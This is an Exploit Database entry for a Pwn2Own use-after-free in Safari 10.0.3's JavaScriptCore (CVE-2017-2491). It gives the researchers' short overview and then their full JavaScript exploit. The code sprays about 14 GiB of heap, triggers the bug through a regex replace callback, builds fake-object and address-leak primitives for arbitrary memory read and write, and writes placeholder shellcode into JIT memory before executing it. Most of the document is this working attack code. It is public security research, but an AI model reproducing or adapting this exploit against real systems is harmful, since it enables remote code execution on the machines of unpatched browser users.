Apple Safari 10.0.3 – ‘JSC::CachedCall’ Use-After-Free

Exploit Database
126 阅读

作者： saelo & niklasb

日期： 2017-05-04
类别：
- remote
平台：
- macos
来源：https://www.exploit-db.com/exploits/41964/

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<!--

Sources:

https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf

https://github.com/phoenhex/files/blob/master/exploits/cachedcall-uaf.html

Overview

The WebKit bug we used at Pwn2Own is CVE-2017-2491 / ZDI-17-231, a use-after-free of a JSString object in JavaScriptCore. By triggering it, we can obtain a dangling pointer to a JSString object in a JavaScript callback. At first, the specific scenario seems very hard to exploit, but we found a rather generic technique to still get a reliable read/write primitive out of it, although it requires a very large (~28 GiB) heap spray. This is possible even on a MacBook with 8 GB of RAM thanks to the page compression mechanism in macOS.

-->

function make_compiled_function() {

function target(x) {

return x*5 + x - x*x;

}

// Call only once so that function gets compiled with low level interpreter

// but none of the optimizing JITs

target(0);

return target;

}

function pwn() {

var haxs = new Array(0x100);

for (var i = 0; i < 0x100; ++i)

haxs[i] = new Uint8Array(0x100);

// hax is surrounded by other Uint8Array instances. Thus *(&hax - 8) == 0x100,

// which is the butterfly length if hax is later used as a butterfly for a

// fake JSArray.

var hax = haxs[0x80];

var hax2 = haxs[0x81];

var target_func = make_compiled_function();

// Small helper to avoid allocations with .set(), so we don't mess up the heap

function set(p, i, a,b,c,d,e,f,g,h) {

p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h;

}

function spray() {

var res = new Uint8Array(0x7ffff000);

for (var i = 0; i < 0x7ffff000; i += 0x1000) {

// Write heap pattern.

// We only need a structure pointer every 128 bytes, but also some of

// structure fields need to be != 0 and I can't remember which, so we just

// write pointers everywhere.

for (var j = 0; j < 0x1000; j += 8)

set(res, i + j, 0x08, 0, 0, 0x50, 0x01, 0, 0, 0);

// Write the offset to the beginning of each page so we know later

// with which part we overlap.

var j = i+1+2*8;

set(res, j, j&0xff, (j>>8)&0xff, (j>>16)&0xff, (j>>24)&0xff, 0, 0, 0xff, 0xff);

}

return res;

}

// Spray ~14 GiB worth of array buffers with our pattern.

var x = [

spray(), spray(), spray(), spray(),

];

// The butterfly of our fake object will point to 0x200000001. This will always

// be inside the second sprayed buffer.

var buf = x[1];

// A big array to hold reference to objects we don't want to be freed.

var ary = new Array(0x10000000);

var cnt = 0;

// Set up objects we need to trigger the bug.

var n = 0x40000;

var m = 10;

var regex = new RegExp("(ab)".repeat(n), "g");

var part = "ab".repeat(n);

var s = (part + "|").repeat(m);

// Set up some views to convert pointers to doubles

var convert = new ArrayBuffer(0x20);

var cu = new Uint8Array(convert);

var cf = new Float64Array(convert);

// Construct fake JSCell header

set(cu, 0,

0,0,0,0,// structure ID

8,// indexing type

0,0,0); // some more stuff we don't care about

var container = {

// Inline object with indebufng type 8 and butterly pointing to hax.

// Later we will refer to it as fakearray.

jsCellHeader: cf[0],

butterfly: hax,

};

while (1) {

// Try to trigger bug

s.replace(regex, function() {

for (var i = 1; i < arguments.length-2; ++i) {

if (typeof arguments[i] === 'string') {

// Root all the callback arguments to force GC at some point

ary[cnt++] = arguments[i];

continue;

}

var a = arguments[i];

// a.butterfly points to 0x200000001, which is always

// inside buf, but we are not sure what the exact

// offset is within it so we read a marker value.

var offset = a[2];

// Compute addrof(container) + 16. We write to the fake array, then

// read from a sprayed array buffer on the heap.

a[2] = container;

var addr = 0;

for (var j = 7; j >= 0; --j)

addr = addr*0x100 + buf[offset + j];

// Add 16 to get address of inline object

addr += 16;

// Do the inverse to get fakeobj(addr)

for (var j = 0; j < 8; ++j) {

buf[offset + j] = addr & 0xff;

addr /= 0x100;

}

var fakearray = a[2];

// Re-write the vector pointer of hax to point to hax2.

fakearray[2] = hax2;

// At this point hax.vector points to hax2, so we can write

// the vector pointer of hax2 by writing to hax[16+{0..7}]

// Leak address of JSFunction

a[2] = target_func;

addr = 0;

for (var j = 7; j >= 0; --j)

addr = addr*0x100 + buf[offset + j];

// Follow a bunch of pointers to RWX location containing the

// function's compiled code

addr += 3*8;

for (var j = 0; j < 8; ++j) {

hax[16+j] = addr & 0xff;

addr /= 0x100;

}

addr = 0;

for (var j = 7; j >= 0; --j)

addr = addr*0x100 + hax2[j];

addr += 3*8;

for (var j = 0; j < 8; ++j) {

hax[16+j] = addr & 0xff;

addr /= 0x100;

}

addr = 0;

for (var j = 7; j >= 0; --j)

addr = addr*0x100 + hax2[j];

addr += 4*8;

for (var j = 0; j < 8; ++j) {

hax[16+j] = addr & 0xff;

addr /= 0x100;

}

addr = 0;

for (var j = 7; j >= 0; --j)

addr = addr*0x100 + hax2[j];

// Write shellcode

for (var j = 0; j < 8; ++j) {

hax[16+j] = addr & 0xff;

addr /= 0x100;

}

hax2[0] = 0xcc;

hax2[1] = 0xcc;

hax2[2] = 0xcc;

// Pwn.

target_func();

}

return "x";

});

}

</script>

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